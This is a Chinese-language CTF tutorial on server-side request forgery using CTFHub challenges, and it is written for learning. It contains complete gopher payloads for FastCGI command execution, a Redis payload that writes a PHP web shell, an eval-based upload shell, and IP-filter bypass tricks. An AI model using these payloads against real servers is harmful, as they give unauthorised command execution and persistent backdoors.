0x01 简介
服务器端请求伪造(Server-side request forgery 简称 SSRF),攻击者滥用服务器的功能,使其访问或操纵该服务器领域中的信息。他的具体流程如下图所示,可通过存在ssrf的机器来访问内网机器
在ctf中主要的考点有如何bypass和gopher协议结合利用
0x02 SSRF
内网访问
在了解ssrf,这个题目中就是直接访问内网机器
在题目的提示中有给出需访问本机的flag.php,于是直接访问即可
伪协议读取文件
file:/// |
可以尝试从文件系统中获取文件 |
dict:// |
能够引用允许通过DICT协议使用的定义或单词列表 |
sftp:// |
Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作 |
ldap:// |
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议 |
tftp:// |
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机 |
gopher:// |
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息 |
对于这道题可用file://
协议来读取文件,可以直接回显文件内容
file://
http://
端口扫描
根据题目的提示,flag文件不在8000端口,这里就需要用到bp来爆破端口
指定需要爆破的范围
从结果可以看到最后开放的端口是8393
利用ssrf访问8393端口查看flag
POST请求
先分析源码
//index.php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
//flag.php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //仅允许本地访问
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) { //POST提交key数据
echo $flag;
exit;
}
分析完后我们就得先整理一下思路
-
得通过ssrf访问来通过本地访问的判断
-
需在提交参数的时候同时提交POST来对页面进行访问
❓这里提出的疑问就是该如何在ssrf提交post传参,这里就要介绍到gopher协议,关于gopher协议的一些描述
在了解到gopher协议可以模仿POST请求够就可以构造payload来进行访问
-
注意Content-Length数据长度的大小要对应上
-
题目中的key要对应上,php代码中有做验证
-
数据要进行3次url编码,但是得是
_POST
开始的数据进行编码,且/
不能编码处理
//gopher数据要进行3次url编码
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=9b69bb6b18e7361f665a43a425079a7d
gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520127.0.0.1%253a80%25250d%25250aContent-Length%25253a%25252036%25250d%25250aContent-Type%25253a%252520application%25252fx-www-form-urlencoded%25250d%25250a%25250d%25250akey%253d9b69bb6b18e7361f665a43a425079a7d
# 注意换行处有%0a
# 斜杠不用编码
# url编码3次
再构造完成后,通过bp访问,可以成功访问到flag
上传文件
//index.php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
//flag.php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ //仅允许127.0.0.1的ip访问
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){ //判断是否有上传文件
echo getenv("CTFHUB");
exit;
}
在了解获取flag的需求后我们就可以构造数据包了,根据上一节的gopher协议可以提交POST数据,我们就先构造一个上传的数据包,可以先写一个html上传页面来抓一个上传的数据包,下面的html可供参考,注意参数的提交要根据具体题目进行替换
<html>
<head>
<title>SSRF gopher upload</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://challenge-1f43eeceb741db75.sandbox.ctfhub.com:10800/flag.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
抓取到上传的数据包
POST /flag.php HTTP/1.1
Host: challenge-1f43eeceb741db75.sandbox.ctfhub.com:10800
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiiniH9kctLjtACUG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryiiniH9kctLjtACUG
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundaryiiniH9kctLjtACUG
Content-Disposition: form-data; name="file"; filename="php.php"
Content-Type: application/octet-stream
eval($_POST[1]) =
------WebKitFormBoundaryiiniH9kctLjtACUG--
gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520challenge-1f43eeceb741db75.sandbox.ctfhub.com%25253A10800%25250d%25250aContent-Length%25253A%252520333%25250d%25250aCache-Control%25253A%252520max-age%25253D0%25250d%25250aUpgrade-Insecure-Requests%25253A%2525201%25250d%25250aOrigin%25253A%252520null%25250d%25250aContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D----WebKitFormBoundaryiiniH9kctLjtACUG%25250d%25250aUser-Agent%25253A%252520Mozilla/5.0%252520(Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64)%252520AppleWebKit/537.36%252520(KHTML%25252C%252520like%252520Gecko)%252520Chrome/120.0.0.0%252520Safari/537.36%25250d%25250aAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252Cimage/apng%25252C*/*%25253Bq%25253D0.8%25252Capplication/signed-exchange%25253Bv%25253Db3%25253Bq%25253D0.7%25250d%25250aAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250d%25250aAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.9%25250d%25250aConnection%25253A%252520close%25250d%25250a%25250d%25250a------WebKitFormBoundaryiiniH9kctLjtACUG%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522PHP_SESSION_UPLOAD_PROGRESS%252522%25250d%25250a%25250d%25250a123%25250d%25250a------WebKitFormBoundaryiiniH9kctLjtACUG%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522php.php%252522%25250d%25250aContent-Type%25253A%252520application/octet-stream%25250d%25250a%25250d%25250a%25253C%25253F%25253D%252520eval(%252524_POST%25255B1%25255D)%25253F%25253E%25250d%25250a------WebKitFormBoundaryiiniH9kctLjtACUG--
# 可以将编码之后的 %25250A 替换为 %25250d%25250a
# %25252F 替换为 /
最后题目判断上传了文件,获取flag
fastCGI协议
快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。
FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。
工具:gopherus
一款快速生成Gopher协议payload的工具
他可以生成的payload有以下七种:
-
MySQL (Port-3306)
-
PostgreSQL(Port-5432)
-
FastCGI (Port-9000)
-
Memcached (Port-11211)
-
Redis (Port-6379)
-
Zabbix (Port-10050)
-
SMTP (Port-25)
推荐用python2运行
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
# 再进行两次url编码
这里解释下为什么要进行多次url的编码,因为数据在传输至服务器时需要先解析一次,解析后的数据再传输到内网的服务器中需要再解析一次
最后获取flag的payload如下
gopher%253A%252F%252F127.0.0.1%253A9000%252F_%252501%252501%252500%252501%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500%252500%252501%252504%252500%252501%252501%252504%252504%252500%25250F%252510SERVER_SOFTWAREgo%252520%252F%252520fcgiclient%252520%25250B%252509REMOTE_ADDR127.0.0.1%25250F%252508SERVER_PROTOCOLHTTP%252F1.1%25250E%252502CONTENT_LENGTH94%25250E%252504REQUEST_METHODPOST%252509KPHP_VALUEallow_url_include%252520%25253D%252520On%25250Adisable_functions%252520%25253D%252520%25250Aauto_prepend_file%252520%25253D%252520php%25253A%252F%252Finput%25250F%252517SCRIPT_FILENAME%252Fvar%252Fwww%252Fhtml%252Findex.php%25250D%252501DOCUMENT_ROOT%252F%252500%252500%252500%252500%252501%252504%252500%252501%252500%252500%252500%252500%252501%252505%252500%252501%252500%25255E%252504%252500%25253C%25253Fphp%252520system%252528%252527cat%252520%252Fflag_1bb7537b450781daa736cab535819c57%252527%252529%25253Bdie%252528%252527-----Made-by-SpyD3r-----%25250A%252527%252529%25253B%25253F%25253E%252500%252500%252500%252500
Redis协议
redis协议可以直接获取shell,操作步骤和上一节相似
两次url编码
gopher%253A%252F%252F127.0.0.1%253A6379%252F_%25252A1%25250D%25250A%2525248%25250D%25250Aflushall%25250D%25250A%25252A3%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525241%25250D%25250A1%25250D%25250A%25252434%25250D%25250A%25250A%25250A%25253C%25253Fphp%252520system%252528%252524_GET%25255B%252527cmd%252527%25255D%252529%25253B%252520%25253F%25253E%25250A%25250A%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525243%25250D%25250Adir%25250D%25250A%25252413%25250D%25250A%252Fvar%252Fwww%252Fhtml%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%25252410%25250D%25250Adbfilename%25250D%25250A%2525249%25250D%25250Ashell.php%25250D%25250A%25252A1%25250D%25250A%2525244%25250D%25250Asave%25250D%25250A%25250A
get传参cmd执行命令
Bypass
关于bypass的方法可以参考以下链接
https://cloud.tencent.com/developer/article/1942119
Url bypass
@ #@会进行隔断, 会访问最后一个域名或ip
http://www[email protected]@zhihu.com
数字IP bypass
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
$domain = parse_url($url, PHP_URL_HOST);
if (preg_match("/127|172|@/", $url)) {//禁止参数中存在127, 172, @字符
exit("hacker! Ban '/127|172|@/'");
}
if (preg_match("/127|172|@|./", $domain)) {//禁止参数中存在127, 172, @, .字符
exit("hacker! Ban '/127|172|@|./'");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
localhost
0:80
2130706433 #十进制表示127.0.0.1
302跳转 Bypass
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {//禁止参数中存在127, 172, 10, 192字符
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
根据源代码解法同上,
DNS重绑定 Bypass
这里的题目源码同上
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
原文始发于微信公众号(CatalyzeSec):从0学习CTF-从ctfhub来了解SSRF
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论